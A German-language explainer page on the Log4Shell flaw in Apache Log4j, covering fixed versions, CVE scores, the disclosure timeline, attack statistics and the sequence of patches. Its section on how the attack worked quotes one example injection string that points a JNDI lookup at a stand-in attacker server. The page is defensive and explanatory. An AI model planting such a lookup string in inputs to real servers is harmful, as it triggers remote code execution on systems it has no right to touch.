Log4Shell: Wenn eine Log-Zeile den Code des Angreifers startet
Eine Lücke in der Java-Bibliothek Log4j ließ Angreifer mit einer Textzeile Server übernehmen. Wie das ging, wie weit es reichte, was jetzt zu tun ist.

Sofortmaßnahmen
- Aktualisiere Log4j auf 2.17.1 oder neuer; unter Java 7 nimm 2.12.4, unter Java 6 2.3.2.
- Such Log4j auch in anderen Produkten: Die meisten Pakete binden es über andere Pakete ein. Frag deshalb deine Softwarehersteller, ob ihre Versionen behoben sind.
- War eine alte Version jemals aus dem Internet erreichbar, prüfe Logs und Systeme auf Spuren eines Angriffs: Die ersten Versuche gab es am 1. Dezember 2021, bevor die Lücke öffentlich war.
- Jahr
- 2021
- CVSS-3.1-Wert
- 10,0 kritisch
- Java-Pakete auf Maven Central nutzten den fehlerhaften Code, mehr als 8 % aller (Google)
- 35.863
- der Unternehmensnetze weltweit sahen bis zum 20. Dezember 2021 Angriffsversuche (mehr als; Daten von Check Point)
- 48 %
- Reichweite nicht erfüllt
35.863 Java-Pakete auf Maven Central, mehr als 8 % aller, nutzten den fehlerhaften Code (Google, 16. Dezember 2021). Das ist weniger als ein Zehntel. Eine Zahl betroffener Systeme ist nicht dokumentiert.
- Massenausnutzung erfüllt
Angriffsversuche erreichten bis zum 20. Dezember 2021 mehr als 48 % der Unternehmensnetze weltweit (Herstellerdaten von Check Point).
- Schaden nicht erfüllt
Ein Gesamtschaden ist nicht dokumentiert. Laut dem US-amerikanischen Cyber Safety Review Board wurde die Lücke weniger ausgenutzt, als viele Fachleute vorhergesagt hatten (CSRB, Juli 2022).
- Außergewöhnliche Reaktion erfüllt
Das BSI stufte seine Warnung am 11. Dezember 2021 auf die Warnstufe Rot hoch (BSI). Die CISA erließ am 17. Dezember die Notfallanweisung 22-02 (CSRB-Bericht).
| Betroffen | Apache Log4j 2, eine Logging-Bibliothek für Java-Programme |
|---|---|
| CVE | CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Schwachstellentyp (CWE) | CWE-917, CWE-20, CWE-674 |
| Behoben in | Log4j 2.17.1, 2.12.4 (Java 7) und 2.3.2 (Java 6); erster Fix 2.15.0 am 10. Dezember 2021 |
| In der CISA-Liste ausgenutzter Schwachstellen seit | 10. Dezember 2021 |
| Gefunden von | Alibaba Cloud Security Team |
- 1Dem Hersteller gemeldet
- 2Erste Angriffe beobachtet+7 Tage
- 3Veröffentlicht+15 Tage
- 4Patch verfügbar+16 Tage
- 5Das BSI stuft seine Warnung auf die Warnstufe Rot hoch+17 Tage
- 6Die CISA erlässt die Notfallanweisung 22-02 für US-Bundesbehörden+23 Tage
Am 9. Dezember 2021 machte ein Beitrag auf Twitter eine Sicherheitslücke in Log4j öffentlich. Log4j ist eine Bibliothek der Apache Software Foundation. Java-Programme schreiben damit Logs, also Protokolle darüber, was ein Programm tut. Wenn ein solches Programm eine kurze Textzeile von einem Angreifer protokollierte, konnte der Server den Code des Angreifers laden und ausführen. Ein Passwort war dafür nicht nötig.
Die US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.
So funktionierte der Angriff
Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte. Das konnte ein Benutzername sein, eine Chat-Nachricht oder der Browsername, den eine Webanfrage üblicherweise mitschickt. Der Server kontaktierte dann den Verzeichnisserver des Angreifers und erhielt einen Verweis auf ein Java-Programm. Je nach Java-Version und vorhandenen Bibliotheken lud und startete er dieses Programm.
- Angreifersendet eine Anfrage mit einem Lookup-Text
- Log4jprotokolliert den Text und wertet den Lookup aus
- Servernimmt Kontakt zum Verzeichnisserver des Angreifers auf
- Javalädt den Code des Angreifers und führt ihn aus
Reichweite, Angriffe und Schaden
Maven Central ist die wichtigste öffentliche Sammlung von Java-Bibliotheken. Am 16. Dezember 2021 zählte Google dort 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete in der Sammlung, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die übrigen bezogen es über andere Pakete, meist fünf Ebenen tief.
| Betroffene Pakete | 35.863 | |
|---|---|---|
| Davon mit Log4j als direkter Abhängigkeit (etwa) | 7.000 | |
| Nach weniger als einer Woche behoben | 4.620 |
Quelle: Google Open Source Insights, 16. und 17. Dezember 2021.
Die Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch registrierte Cloudflare nur neun Minuten nach dem Beitrag.
| 10. Dezember | 5.483 | |
|---|---|---|
| 11. Dezember | 18.606 | |
| 12. Dezember | 27.439 | |
| 13. Dezember | 24.642 |
Blockierte Anfragen pro Minute, Tagesdurchschnitt, Dezember 2021. Herstellerdaten von Cloudflare.
Fünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert. Es hatte Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche. Die Zahlen lassen sich nicht miteinander vergleichen.
| Österreich | 59 % | |
|---|---|---|
| Deutschland | 54 % | |
| Schweiz | 47 % | |
| USA | 46 % |
Herstellerdaten von Check Point, Stand 13. Dezember 2021.
Wie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board untersuchte 2022 den Fall. Es stellte fest, dass die Lücke weniger ausgenutzt wurde als von vielen Fachleuten angesichts ihrer Schwere vorhergesagt. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.
Fix und Reaktion
Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig. Es folgten drei weitere Versionen.
- 12.15.0 schränkt JNDI-Lookups ein, lässt aber eine Lücke
- 22.16.0 entfernt Lookups in Meldungen und schaltet JNDI standardmäßig ab+3 Tage
- 32.17.0 behebt einen Lookup, der sich so lange wiederholt, bis das Programm abstürzt+7 Tage
- 42.17.1 behebt einen Angriff über das Protokollieren in Datenbanken+17 Tage
Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, ist mit 5,9 bewertet. CVE-2021-44832, mit 6,6 bewertet, lässt sich nur ausnutzen, wenn ein Angreifer die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.
Behörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.
Auch Jahre später noch im Einsatz
Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. Laut Sonatype enthielten 2025 noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, das sind rund 40 Millionen.
Weiterlesen: ProxyLogonZurück: MOVEit TransferÜbersicht: Schwachstellen